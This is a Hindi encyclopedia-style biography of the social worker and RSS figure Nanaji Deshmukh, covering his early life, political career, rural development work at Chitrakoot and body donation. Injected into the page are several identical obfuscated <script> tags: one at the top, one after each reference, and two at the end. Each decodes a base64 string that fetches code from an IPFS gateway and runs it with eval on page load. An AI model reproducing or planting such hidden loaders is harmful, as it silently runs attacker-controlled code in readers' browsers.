अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चंडिकादास अमृतराव देशमुख (अंग्रेज़ी: Chandikadas Amritrao Deshmukh, जन्म- 11 अक्टूबर, 1916 ई., महाराष्ट्र; मृत्यु- 27 फ़रवरी, 2010, चित्रकूट, उत्तर प्रदेश) 'राष्ट्रीय स्वयंसेवक संघ' के मज़बूत स्तंभ और प्रख्यात समाजसेवक थे। देश के दूसरे सर्वोच्च नागरिक सम्मान पद्मविभूषण से नवाजे गए नानाजी देशमुख शिक्षा, स्वास्थ्य और ग्रामीण लोगों के बीच स्वावलंबन के लिए किए गए कार्यों के लिए सदैव याद किए जाते हैं। भारतीय जनसंघ के संस्थापक रहे नानाजी ने 60 साल की आयु के बाद राजनीति से सन्न्यास ले लिया था। अपना शेष जीवन उन्होंने चित्रकूट के गाँवों का कल्याण करने में बिताया और उनके विकास की एक नई गाथा लिखी। नानाजी देशमुख को मरणोपरांत देश का सर्वोच्च पुरस्कार भारत रत्न दिया गया।

परिचय

नानाजी देशमुख का जन्म महाराष्ट्र राज्य के परभनी ज़िले में एक छोटे से गाँव 'कदोली' में 11 अक्टूबर, 1916 ई. को हुआ था। इनके पिता का नाम श्री अमृतराव देशमुख तथा माता का नाम श्रीमती राजाबाई अमृतराव देशमुख था। नानाजी का जीवन सदैव अनेकों घटनाओं से परिपूर्ण रहा। उनका अधिकतर समय संघर्षों में ही व्यतीत हुआ था। अपनी अल्प आयु में ही उन्होंने अपने माता-पिता को खो दिया। ये उनके मामा जी ही थे, जिन्होंने उन्हें पाला-पोसा और बड़ा किया।

शिक्षा

नानाजी का बचपन काफ़ी हद तक अभावों में बीता था। अपनी स्कूल की शिक्षा के दौरान भी उनके पास किताबें आदि ख़रीदने के लिए पैसे नहीं होते थे, लेकिन उनके अन्दर ज्ञान तथा शिक्षा प्राप्त करने की अटूट अभिलाषा विद्यमान थी, जिसे वे हर हाल में पाना चाहते थे। वे मन्दिरों में भी रहे और अपनी पढ़ाई जारी रखने के लिए सब्ज़ी बेचकर पैसे कमाए। 'बिरला इंस्टीट्यूट', पिलानी से नानाजी ने उच्च शिक्षा प्राप्त की थी। बाद के दिनों में तीस के दशक में वे 'आर.एस.एस.' में शामिल हो गए।

राजनीतिक गतिविधियाँ

यद्यपि नानाजी का जन्म महाराष्ट्र में हुआ था, लेकिन उनका कार्यक्षेत्र राजस्थान और उत्तर प्रदेश में ही रहा। उनकी श्रद्धा देखकर आर.एस.एस. के संघ संचालक गुरु जी ने उन्हें प्रचारक के रूप में गोरखपुर भेज दिया, जहाँ वे उत्तर प्रदेश के प्रचारक नियुक्त कर दिये गये। नानाजी लोकमान्य तिलक के विचारों से बहुत प्रभावित थे। संघ संस्थापक डॉक्टर हेडगेवार ने ही उन्हें संघ से जोड़ा। 1940 में महाराष्ट्र के सैकड़ों युवक प्रचारक बने। इनमें नानाजी भी थे। उनकी तीव्र बुद्धि तथा विलक्षण संगठन कौशल ने 1950 से 1977 तक भारतीय राजनीति पर अमिट छाप छोड़ी। उन्होंने विभिन्न विचार और स्वभाव वाले नेताओं को एक साथ लाकर कांग्रेस का सदा सत्ता में बने रहने का ज़ोरदार विरोध किया था। संघ के प्रचारक के रूप में उन्हें उत्तर प्रदेश में पहले आगरा और फिर गोरखपुर भेजा गया। उन दिनों संघ की आर्थिक स्थिति बहुत ख़राब थी। नानाजी एक धर्मशाला में रहते थे। वहाँ हर तीसरे दिन कमरा बदलना पड़ता था। अन्ततः कांग्रेस के एक नेता ने उन्हें इस शर्त पर स्थायी कमरा दिलवाया कि वे उसका खाना बना दिया करेंगे। नानाजी के परिश्रम से तीन साल में गोरखपुर के आस-पास 250 शाखाएँ खुल गयीं। विद्यालयों की पढ़ाई तथा संस्कारहीन वातावरण देखकर उन्होंने गोरखपुर में 1950 में पहला 'सरस्वती शिशु मन्दिर' स्थापित किया। आज तो ऐसे विद्यालयों की संख्या देश में 50,000 से भी अधिक है।[1]

प्रबन्धक का पद

1947 में रक्षा बन्धन के शुभ अवसर पर लखनऊ में ‘राष्ट्रधर्म प्रकाशन’ की स्थापना हुई, तो इसके प्रबन्धक नानाजी ही बनाये गए। वहाँ से मासिक 'राष्ट्रधर्म', 'साप्ताहिक पांचजन्य' तथा 'दैनिक स्वदेश' अख़बार निकाले गये। 1948 में गांधी जी की हत्या के बाद संघ पर प्रतिबन्ध लग गया। इससे प्रकाशन संकट में पड़ गया। ऐसे में नानाजी ने छद्म नामों से कई पत्र निकाले। 1952 में जनसंघ की स्थापना होने पर उत्तर प्रदेश में उसका कार्य नानाजी को सौंपा गया। 1957 तक प्रदेश के सभी ज़िलों में जनसंघ का काम पहुँच गया। 1967 में उत्तर प्रदेश में चौधरी चरणसिंह के नेतृत्व में पहली संविद सरकार बनी। इसमें नानाजी की महत्त्वपूर्ण भूमिका थी। विनोबा भावे के भूदान यज्ञ तथा 1974 में इन्दिरा गांधी के शासन के विरुद्ध लोकनायक जयप्रकाश नारायण के नेतृत्व में हुए आन्दोलन में नानाजी खूब सक्रिय रहे। पटना में जब पुलिस ने जयप्रकाश आदि पर लाठियाँ बरसायीं, तो नानाजी ने उन्हें अपनी बाँह पर झेल लिया। इससे उनकी बाँह टूट गयी; पर जयप्रकाश जी बच गये।

महामन्त्री

1975 में कई विपक्षी नेताओं को जेल हुई, किंतु नानाजी हाथ नहीं आये। आपातकाल के विरुद्ध बनी ‘लोक संघर्ष समिति’ के वे मन्त्री थे। उस समय हुए देशव्यापी सत्याग्रह में एक लाख से भी अधिक लोगों ने गिरफ़्तारी दी। यद्यपि बाद में नानाजी भी पकड़े गये। 1977 के चुनाव में इन्दिरा गांधी हार गयीं और दिल्ली में मोरारजी देसाई के नेतृत्व में जनता पार्टी की सरकार बनी। नानाजी ने सत्ता की बजाय संगठन को महत्व देते हुए अपने बदले ब्रजलाल वर्मा को मन्त्री बनवाया। इस पर उन्हें जनता पार्टी का महामन्त्री बनाया गया। उस समय नानाजी सत्ता या दल में बड़े से बड़ा पद ले सकते थे; लेकिन उन्होंने सक्रिय राजनीति छोड़कर ‘दीनदयाल शोध संस्थान’ के माध्यम से पहले गोंडा और फिर चित्रकूट में ग्राम विकास का कार्य प्रारम्भ किया।[1]

राजनीति से सन्न्यास

नानाजी देशमुख ने 60 साल की उम्र पूरी होते ही राजनीति छोड़ दी थी, क्योंकि उनका मानना था कि 60 साल की उम्र के बाद व्यक्ति को राजनीति छोड़ देनी चाहिए। वह राजनीति में अटल बिहारी वाजपेयी, लालकृष्ण आडवाणी जैसे भाजपा के नेताओं से वरिष्ठ थे और भाजपा के गठन के काफ़ी पहले राजनीति को अलविदा कह चुके थे। नानाजी ने अपने जीवनकाल में 'दीनदयाल शोध संस्थान', 'ग्रामोदय विश्वविद्यालय' और 'बाल जगत' जैसे सामाजिक संगठनों की स्थापना की। उन्होंने उत्तर प्रदेश के गोंडा ज़िले में भी उल्लेखनीय सामाजिक कार्य किया था। उन्हें 1999 में 'पद्म विभूषण' से सम्मानित किया गया और इसी साल राज्यसभा के लिए नामांकित किया गया। वे बलरामपुर से लोकसभा के लिये भी चुने गये थे। चित्रकूट स्थित 'दीनदयाल शोध संस्थान' में पधारे पूर्व राष्ट्रपति ए.पी.जे. अब्दुल कलाम ने नानाजी देशमुख द्वारा कमज़ोर वर्ग के उत्थान में उठाए गए क़दमों की सराहना की थी और इस क्षेत्र में उनकी उपलब्धियों को अनुकरणीय बताया था।[2]

विवाद का घेरा

हालांकि राजनीति से अलग होने के बाद भी नानाजी निर्विवाद नहीं रहे। नानाजी उस वक्त विवाद के घेरे में आ गए, जब 1984 में उन्होंने कहा था कि 'अब समय आ गया है कि संघ राजीव गांधी के साथ खड़ा रहे।' इसके बाद जब केन्द्र में अटल बिहारी वाजपेयी की सरकार बनी, तब भी कई मौके ऐसे आये, जब वे केन्द्र सरकार के ख़िलाफ़ खड़े नजर आये। नदी जोड़ने के राजग सरकार के महत्वाकांक्षी परियोजना को नानाजी के हस्तक्षेप के कारण ही ठंडे बस्ते में डालना पड़ा था।

निधन एवं देह दान

अपने राज्यसभा के सांसद काल में मिली सांसद निधि का उपयोग उन्होंने इन प्रकल्पों के लिए ही किया। कर्मयोगी नानाजी ने 27 फ़रवरी, 2010 को अपनी कर्मभूमि चित्रकूट में अंतिम सांस ली। उन्होंने देह दान का संकल्प पत्र बहुत पहले ही भर दिया था। अतः देहांत के बाद उनका शरीर आयुर्विज्ञान संस्थान को दान दे दिया।

'दधीचि देह दान समिति' के अध्यक्ष आलोक कुमार के अनुसार- 'नानाजी ने सन् 1997 में इच्छा जताई थी कि उनकी मृत्यु के पश्चात् उनकी देह का उपयोग चिकित्सा शोध कार्य के लिए किया जाए। उनकी इच्छा पर विचार करते 11 अक्टूबर, 1997 को देहदान की एक वसीयत तैयार की गई, जिस पर उन्होंने साक्षी के रूप में श्रीमती कुमुद सिंह तथा हेमंत पाण्डे की उपस्थिति में हस्ताक्षर किए थे। दोनों को नानाजी अपना पुत्र व पुत्री मानते थे। आलोक कुमार ने बताया कि उनके हर अंग का देशहित में उपयोग हो, यही उनकी अंतिम इच्छा थी। कुमार ने कहा कि हमने यह निश्चित किया था कि मृत्यु के पश्चात् नानाजी की देह को दिल्ली स्थित 'अखिल भारतीय आयुर्विज्ञान संस्थान' में शोध कार्य के लिए दिया जाएगा। उन्होंने भावविह्वल होकर बताया कि नानाजी प्रवास पर रहते थे। ऐसे में मृत्यु होने पर उनकी पार्थिव देह दिल्ली लाने में कोई व्यवधान न हो, इस हेतु नानाजी ने दधीचि देहदान समिति को 11,000 रुपए दिए, उनका कहना था कि मैं हमेशा प्रवास पर रहता हूँ, इसलिए मेरी मृत्यु कहीं भी हो सकती है। यह रुपए मेरी देह को कहीं से भी दिल्ली पहुँचाने की व्यवस्था के लिए हैं। नानाजी की इच्छा के अनुसार उनकी देह को 'अखिल भारतीय आयुर्विज्ञान संस्थान' में शोध कार्य के लिए दे दिया गया, जहाँ चिकित्सक उनकी देह पर शोध कर सकते थे।[3]

प्रेरणा स्रोत

दिल्ली की 'दधीचि देहदान समिति' को अपने देहदान सम्बन्धी शपथ पत्र पर हस्ताक्षर करते हुए नानाजी ने कहा था- "मैंने जीवन भर संघ शाखा में प्रार्थना में बोला है 'पत्तवेष कायो नमस्ते नमस्ते।' अतः मृत्यु के बाद भी यह शरीर समाज के लिए उपयोग में आना उचित है। इस प्रकार उन्होंने मृत्यु के उपरान्त अपना देह चिकित्सा शास्त्र पढ़ने वाले युवकों के अध्ययन के लिए समर्पित कर दिया। असंख्य लोग नाना जी के जीवन से प्रेरणा लेते रहे हैं और भविष्य में भी लेते रहेंगे।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 आधुनिक चाणक्य:नानाजी देशमुख (हिन्दी)। । अभिगमन तिथि: 04 मार्च, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. नानाजी देशमुख (हिन्दी) (एच.टी.एम.एल.)। । अभिगमन तिथि: 04 मार्च, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. सिसोदिया, तरुन। सर्वस्व दानी नानाजी देशमुख का महाप्रयाण (हिन्दी) (एच.टी.एम.एल.)। । अभिगमन तिथि: 04 मार्च, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>